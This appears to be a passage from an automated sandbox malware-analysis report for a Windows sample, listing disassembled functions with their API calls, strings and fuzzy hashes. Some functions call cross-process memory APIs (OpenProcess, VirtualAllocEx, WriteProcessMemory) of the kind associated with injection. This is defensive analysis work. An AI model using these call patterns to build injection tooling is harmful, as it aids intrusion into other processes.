Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: ErrorExitLastThread
String ID:
API String ID: 1611280651-0
Opcode ID: 99fd53b48de60ad2b3b37300d72bcddb8f2580f530d7a1e219e10e2618182fab
Instruction ID: 1c507e168ba08d05cfe8f023bd769a47ea9576349a1e17051e4320dffa865353
Opcode Fuzzy Hash: 99fd53b48de60ad2b3b37300d72bcddb8f2580f530d7a1e219e10e2618182fab
Instruction Fuzzy Hash: AF014F21B0864692FA055B28E45817C2261FF48B79FA05734C73E826F5DF3CE8688304

Function 00007FF6BB19B5D4 Relevance: 7.5, APIs: 5, Instructions: 26threadCOMMON

Download Yara Rule

APIs

GetWindowThreadProcessId.USER32 ref: 00007FF6BB19B5F0
GetCurrentThreadId.KERNEL32 ref: 00007FF6BB19B5F8
GetWindowThreadProcessId.USER32 ref: 00007FF6BB19B608
GetCurrentThreadId.KERNEL32 ref: 00007FF6BB19B610
AttachThreadInput.USER32 ref: 00007FF6BB19B61D

Part of subcall function 00007FF6BB19CF30: SendMessageTimeoutW.USER32 ref: 00007FF6BB19CF56

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Thread$CurrentProcessWindow$AttachInputMessageSendTimeout
String ID:
API String ID: 179993514-0
Opcode ID: e2ae8e70be2f5b84d83463abcc11da4b251e2e09d7ca6408d5f9779cbd984f2d
Instruction ID: 552da836c9724e8f6527e7ff515c7db6cd9204efa10df30d585c1f82a777ad52
Opcode Fuzzy Hash: e2ae8e70be2f5b84d83463abcc11da4b251e2e09d7ca6408d5f9779cbd984f2d
Instruction Fuzzy Hash: 4DF06D10F5864282FB541BBEB84827912567F4C78EFC49030CB4AC22B2DD7DA49A8640

Function 00007FF6BB1A6D04 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 308comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 00007FF6BB1A6EBC
CoCreateInstance.OLE32 ref: 00007FF6BB1A6EDF
CoUninitialize.OLE32 ref: 00007FF6BB1A71B2

Strings

.lnk, xrefs: 00007FF6BB1A6D42, 00007FF6BB1A6DBD, 00007FF6BB1A6E68

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize
String ID: .lnk
API String ID: 948891078-24824748
Opcode ID: 1644c63e6644db44a76a731fbb9fe4e004201a8adca6fd1ac56005c9bc23a529
Instruction ID: c73bc5303e331d365e1e18cc52cfcd72f47281ff551fd50111d7c5aa75d49352
Opcode Fuzzy Hash: 1644c63e6644db44a76a731fbb9fe4e004201a8adca6fd1ac56005c9bc23a529
Instruction Fuzzy Hash: 4ED16162B18B4691EB10DF29D4946AD6B60FB89B8CF405031EF4E87B75EE3CE549CB40

Function 00007FF6BB1A5F2C Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 300comCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB1256D4: GetFullPathNameW.KERNEL32(?,00007FF6BB1256C1,?,00007FF6BB127A0C,?,?,?,00007FF6BB12109E), ref: 00007FF6BB1256FF

CoInitialize.OLE32 ref: 00007FF6BB1A60A2
CoCreateInstance.OLE32 ref: 00007FF6BB1A60C5
CoUninitialize.OLE32 ref: 00007FF6BB1A60E3

Strings

.lnk, xrefs: 00007FF6BB1A5F94, 00007FF6BB1A5FE3, 00007FF6BB1A6090

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize
String ID: .lnk
API String ID: 3769357847-24824748
Opcode ID: 4c8fcdb31f72f3120188c1de4036b50eaf24b17eb573960d77c147c030cdfb14
Instruction ID: a018632c14e3384eecd3ed078d46ac6407a86bc2a0b4118e879d1ce9d712ef54
Opcode Fuzzy Hash: 4c8fcdb31f72f3120188c1de4036b50eaf24b17eb573960d77c147c030cdfb14
Instruction Fuzzy Hash: 59D14B76B08A5685EB10DF6AD0902AD37B0FB88B8CB445032DF5E97B65DF39E849C740

Function 00007FF6BB160040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 205COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BB1602E4

Strings

UTF-16LEUNICODE, xrefs: 00007FF6BB16028B
UTF-8, xrefs: 00007FF6BB160268
ccs, xrefs: 00007FF6BB160229

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 77144706097a283061aa6841737fd5fc45152d0aa2c4d7c8d9b1e627f9bd4a8a
Instruction ID: ed292566daa57e3db516d14f7835a9518fcf23c34f3af11491e4e8e2cb104f7b
Opcode Fuzzy Hash: 77144706097a283061aa6841737fd5fc45152d0aa2c4d7c8d9b1e627f9bd4a8a
Instruction Fuzzy Hash: 95816A72E082028AFB655F1D969837D26A8BF1978CF158039DB0FD36E0DF6DE960D601

Function 00007FF6BB14B1E8 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 150COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BB14B211
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BB14B3EE

Strings

*, xrefs: 00007FF6BB14B322
, xrefs: 00007FF6BB14B377

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: $*
API String ID: 3215553584-3982473090
Opcode ID: db61ebb86adcfd651309e33ba306c402ee314aa11931134a2a7a81ecab3a0501
Instruction ID: d45138133d3391e4ee6eeb2a1a7424096991fadf44b86ca1da56c353cfb0f40b
Opcode Fuzzy Hash: db61ebb86adcfd651309e33ba306c402ee314aa11931134a2a7a81ecab3a0501
Instruction Fuzzy Hash: 9261317291C2428AE7698F2D805537E37A1FB5DB1DF249135C74AC62A9CF2CE541DF01

Function 00007FF6BB18EAC0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 127windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB1996AC: WriteProcessMemory.KERNEL32 ref: 00007FF6BB1996F7

SendMessageW.USER32 ref: 00007FF6BB18EB35

Part of subcall function 00007FF6BB199660: ReadProcessMemory.KERNEL32 ref: 00007FF6BB19969E

Part of subcall function 00007FF6BB199560: GetWindowThreadProcessId.USER32 ref: 00007FF6BB1995A4
Part of subcall function 00007FF6BB199560: OpenProcess.KERNEL32(?,?,?,?,00000000,00007FF6BB18E40A), ref: 00007FF6BB1995B6
Part of subcall function 00007FF6BB199560: VirtualAllocEx.KERNEL32 ref: 00007FF6BB1995DC

SendMessageW.USER32 ref: 00007FF6BB18EBBD
SendMessageW.USER32 ref: 00007FF6BB18EC17

Strings

@, xrefs: 00007FF6BB18EC32

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: 8590b3572ee50005f206f958431262ef9082a01c97b701578a5c0a82d3af5d25
Instruction ID: 1f77b428f0f7320d78e9321ca1addf582227fb3b5000b6a6d386fe24dc9c2ba8
Opcode Fuzzy Hash: 8590b3572ee50005f206f958431262ef9082a01c97b701578a5c0a82d3af5d25
Instruction Fuzzy Hash: AA519E7761868192E720DF5AE8849AAB760F7C8BC8F451036EF8D93B69DE7CD505CB00

Function 00007FF6BB15EAA8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,00000010,00000010,00000000,00000010,00007FF6BB15EF05), ref: 00007FF6BB15EB8E
WriteFile.KERNEL32 ref: 00007FF6BB15EBC1
GetLastError.KERNEL32 ref: 00007FF6BB15EBE3

Strings

U, xrefs: 00007FF6BB15EB6C

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: ByteCharErrorFileLastMultiWideWrite
String ID: U
API String ID: 2456169464-4171548499
Opcode ID: 94b35a9ebb8fe33294e0bdd0e775bf8e0988a6ef2a86fc1225fbcd9ba36526fe
Instruction ID: c72fb005aaeeb6ff06c5b1ecd5ac754c41db040ae26541e26b8bd8599103a89e
Opcode Fuzzy Hash: 94b35a9ebb8fe33294e0bdd0e775bf8e0988a6ef2a86fc1225fbcd9ba36526fe
Instruction Fuzzy Hash: 7F419122A1964186EB20CF19E4443BA77A1FB8C799F804131EF8E877A8DF7CD441C744

Function 00007FF6BB1CB454 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

SetWindowPos.USER32 ref: 00007FF6BB1CB556
GetWindowLongW.USER32 ref: 00007FF6BB1CB57B
SetWindowLongPtrW.USER32 ref: 00007FF6BB1CB58E

Strings

SysTreeView32, xrefs: 00007FF6BB1CB512

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: efcadc7bc094786019cbc8bf8bf3fbcf06e95b4321d3c984f5b6707381f7f713
Instruction ID: c746177b3fa096654e550c85cfb5dd9b6a142428f4a1b345b56d47bc7772ab8b
Opcode Fuzzy Hash: efcadc7bc094786019cbc8bf8bf3fbcf06e95b4321d3c984f5b6707381f7f713
Instruction Fuzzy Hash: 7F414F326097D186E7708F18E444B9A77A1F789764F144335DBA887AA8CF3CD845CF40

Function 00007FF6BB1CAB9C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB12932C: CreateWindowExW.USER32 ref: 00007FF6BB1293BC
Part of subcall function 00007FF6BB12932C: GetStockObject.GDI32 ref: 00007FF6BB1293D9
Part of subcall function 00007FF6BB12932C: SendMessageW.USER32 ref: 00007FF6BB1293EC

SendMessageW.USER32 ref: 00007FF6BB1CAC80
SetWindowPos.USER32 ref: 00007FF6BB1CACA9
SendMessageW.USER32 ref: 00007FF6BB1CACE0

Strings

SysMonthCal32, xrefs: 00007FF6BB1CABE3

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: MessageSend$Window$CreateObjectStock
String ID: SysMonthCal32
API String ID: 2671490118-1439706946
Opcode ID: a35748cbb4f7d20bc5763ff5a18e4d80cc8b65d6717278039b9a5fd016896ec3
Instruction ID: d175d9dbebdae7a782a918265af88e44a382ef2e7d5d3e7a23045b993e7b8c39
Opcode Fuzzy Hash: a35748cbb4f7d20bc5763ff5a18e4d80cc8b65d6717278039b9a5fd016896ec3
Instruction Fuzzy Hash: 4D416D326086C28BE370CF59E444B5AB7A0F788794F504235EB9987AA9DF3CD485CF40

Function 00007FF6BB1CB798 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB12932C: CreateWindowExW.USER32 ref: 00007FF6BB1293BC
Part of subcall function 00007FF6BB12932C: GetStockObject.GDI32 ref: 00007FF6BB1293D9
Part of subcall function 00007FF6BB12932C: SendMessageW.USER32 ref: 00007FF6BB1293EC

SendMessageW.USER32 ref: 00007FF6BB1CB8B1
SendMessageW.USER32 ref: 00007FF6BB1CB8C9
DestroyWindow.USER32 ref: 00007FF6BB1CB8D6

Strings

msctls_updown32, xrefs: 00007FF6BB1CB7E3

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyObjectStock
String ID: msctls_updown32
API String ID: 1752125012-2298589950
Opcode ID: 3ad8a05af1a04f4639f3558a706eda2379b4f54061b6a2bc35ec0bb5bf7c66ed
Instruction ID: 50867221a1f160b058d9098744c85562e52e49bf143fd1dcbd44d01675678f1b
Opcode Fuzzy Hash: 3ad8a05af1a04f4639f3558a706eda2379b4f54061b6a2bc35ec0bb5bf7c66ed
Instruction Fuzzy Hash: 74318232A18B8596EB60CF19E4403AA7361FBC9B95F108136DB8D87B69CF3CD445CB00

Function 00007FF6BB1A4DF8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 00007FF6BB1A4E29
GetVolumeInformationW.KERNEL32 ref: 00007FF6BB1A4E9F
SetErrorMode.KERNEL32 ref: 00007FF6BB1A4F0E

Strings

%lu, xrefs: 00007FF6BB1A4EB0

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: ErrorMode$InformationVolume
String ID: %lu
API String ID: 2507767853-685833217
Opcode ID: 672d97fc72a5ca8b35a6a563d603e89b9dfb37273f5f93e5ec3f9e9d545e6ea4
Instruction ID: bf77c90045bbe0bd1ddec1d202a59069828f0b90d916c1250311884947a5ca9b
Opcode Fuzzy Hash: 672d97fc72a5ca8b35a6a563d603e89b9dfb37273f5f93e5ec3f9e9d545e6ea4
Instruction Fuzzy Hash: CD313B72608B8696EA10DB1AE4801ADB7A1FB8DB88F404035EB8D83B75DF7CD595CB00

Function 00007FF6BB1CB104 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB12932C: CreateWindowExW.USER32 ref: 00007FF6BB1293BC
Part of subcall function 00007FF6BB12932C: GetStockObject.GDI32 ref: 00007FF6BB1293D9
Part of subcall function 00007FF6BB12932C: SendMessageW.USER32 ref: 00007FF6BB1293EC

SendMessageW.USER32 ref: 00007FF6BB1CB1BE
SendMessageW.USER32 ref: 00007FF6BB1CB1DA
SendMessageW.USER32 ref: 00007FF6BB1CB1EF

Strings

msctls_trackbar32, xrefs: 00007FF6BB1CB14B

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: msctls_trackbar32
API String ID: 1025951953-1010561917
Opcode ID: d23565779f05c86e88825c5223c790f228a79c76439431c452903b53a7f93148
Instruction ID: 977ed222c7c7e8d5f1fd8820e3939ed5a7fa29874177ddeb54b1464797b7b8c2
Opcode Fuzzy Hash: d23565779f05c86e88825c5223c790f228a79c76439431c452903b53a7f93148
Instruction Fuzzy Hash: F331F832A1868587E760CF19F444B5AB7A1FB88B94F144235EB9883B65CF3CD845CF04

Function 00007FF6BB18F5CC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB18F378: SendMessageTimeoutW.USER32 ref: 00007FF6BB18F3A8
Part of subcall function 00007FF6BB18F378: GetWindowThreadProcessId.USER32 ref: 00007FF6BB18F3B8
Part of subcall function 00007FF6BB18F378: GetCurrentThreadId.KERNEL32 ref: 00007FF6BB18F3C0
Part of subcall function 00007FF6BB18F378: AttachThreadInput.USER32 ref: 00007FF6BB18F3E5

GetFocus.USER32 ref: 00007FF6BB18F605

Part of subcall function 00007FF6BB18F3F4: GetParent.USER32 ref: 00007FF6BB18F407

GetClassNameW.USER32 ref: 00007FF6BB18F656
EnumChildWindows.USER32 ref: 00007FF6BB18F684

Part of subcall function 00007FF6BB18F378: GetWindowThreadProcessId.USER32 ref: 00007FF6BB18F3D0
Part of subcall function 00007FF6BB18F378: GetCurrentThreadId.KERNEL32 ref: 00007FF6BB18F3D8

Strings

%s%d, xrefs: 00007FF6BB18F691

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Thread$CurrentProcessWindow$AttachChildClassEnumFocusInputMessageNameParentSendTimeoutWindows
String ID: %s%d
API String ID: 2330185562-1110647743
Opcode ID: 857964eeb1744f33fa59f7157a8d227542009ecfa466120d8aa32e1a6fda710b
Instruction ID: 61bf927cf45049dd92683359f447b16898da46c6256a4ccb6a77b24159e09b68
Opcode Fuzzy Hash: 857964eeb1744f33fa59f7157a8d227542009ecfa466120d8aa32e1a6fda710b
Instruction Fuzzy Hash: 7B216D21B08B8292EA14DB2AE8442FA6361FB4DBC8F544132DF9D87776DE2CE205C710

Function 00007FF6BB19C110 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF6BB19C14F
DeviceIoControl.KERNEL32 ref: 00007FF6BB19C1CB
CloseHandle.KERNEL32 ref: 00007FF6BB19C1D6

Strings

0, xrefs: 00007FF6BB19C1AC

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID: 0
API String ID: 33631002-4108050209
Opcode ID: 122fac756a3aebd614dbe24bd4d9d3fcd08661cb9d9b68eb4b308195107418d6
Instruction ID: 62bc5a7f76357524015a802c5c99920caa50c139d9e7a40e3472bceb1055f2a1
Opcode Fuzzy Hash: 122fac756a3aebd614dbe24bd4d9d3fcd08661cb9d9b68eb4b308195107418d6
Instruction Fuzzy Hash: A3218332618B80C6D3608F25F48469A77B4F788794F544236EB9D43B94DF3CD655CB00

Function 00007FF6BB1BAF20 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 21libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF6BB182DD1), ref: 00007FF6BB1BAF37
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF6BB182DD1), ref: 00007FF6BB1BAF4F

Strings

kernel32.dll, xrefs: 00007FF6BB1BAF30
GetSystemWow64DirectoryW, xrefs: 00007FF6BB1BAF45

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetSystemWow64DirectoryW$kernel32.dll
API String ID: 2574300362-1816364905
Opcode ID: b553b98cf413c0522d0a8d0790f0dad2998fa959ac13788e6be9999dd8a5b612
Instruction ID: fb2a518dbf1053ba38f048e603ca75da096d015b5b4f8673e9c6fbc7d3b75b7b
Opcode Fuzzy Hash: b553b98cf413c0522d0a8d0790f0dad2998fa959ac13788e6be9999dd8a5b612
Instruction Fuzzy Hash: 13F0AC62A16B0692EF18CB58E49436823E4FB1CB4DF940439CA5D86374EF7CD658C340

Function 00007FF6BB1B7634 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?,?,00007FF6BB1B7124), ref: 00007FF6BB1B764B
